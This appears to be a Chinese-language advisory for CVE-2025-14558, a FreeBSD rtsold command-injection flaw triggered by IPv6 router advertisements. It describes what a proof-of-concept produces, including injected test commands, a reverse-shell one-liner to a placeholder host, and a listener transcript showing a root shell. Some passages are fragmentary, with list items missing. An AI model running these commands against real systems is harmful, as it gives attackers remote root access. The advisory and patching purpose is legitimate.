CVE-2025-14558 是一个严重远程代码执行 (RCE) 漏洞,影响使用 IPv6 路由器请求服务的 FreeBSD 系统。在处理不受信任的网络输入时存在缺陷,允许攻击者执行任意 shell 命令。
rtsol(8)rtsold(8)resolvconf(8)如果成功利用,攻击者可以:
强烈建议采取的措施:
rtsol / rtsold任何在不受信任网络上监听 IPv6 路由器通告的 FreeBSD 系统都处于高风险中。 立即打补丁或禁用受影响的服务。
如果 CVE-2025-14558 的 PoC 脚本在易受攻击的 FreeBSD 系统上(未打补丁,rtsold 正在运行并处理 IPv6 RA 消息)成功运行:
rtsold 以 root 身份运行,并用恶意域名调用 /sbin/resolvconf)。对于简单的测试,例如 --command "id > /tmp/pwned":
会创建一个文件 /tmp/pwned,内容类似于:
uid=0(root) gid=0(wheel) groups=0(wheel)
对于 --command "touch /tmp/exploit_success":
/tmp/exploit_success。对于反向 shell,例如 --command "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1":
在目标上使用以下命令检查:
ls -l /tmp/pwned
cat /tmp/pwned
脚本输出:
[+] Sending malicious RA on eth0
[+] Injected command: id > /tmp/pwned
[+] Target must run vulnerable rtsold and process the RA
[+] Done. Check target for execution (e.g. /tmp/pwned)
对于反向 shell:如果成功,你的 nc -lvnp 4444 会获得一个连接和一个 root shell:
listening on [any] 4444 ...
connect to [YOUR_IP] from (UNKNOWN) [target_ip] XXXXX
bash: cannot set terminal process groups: No job control in this shell
bash: no job control in this shell
root@vulnerable-host:~ #
(你现在拥有 root shell – 可以输入 id、whoami 等命令。)
rtsold 未运行、不在同一 L2 网络、防火墙阻止 RA 或 IPv6 已禁用。这只能在受控实验室中,在易受攻击的(2025 年 12 月 16 日补丁之前)FreeBSD 系统上观察到。截至 2025 年 12 月 23 日,没有公开的现实世界利用报告。请在生产环境中立即打补丁。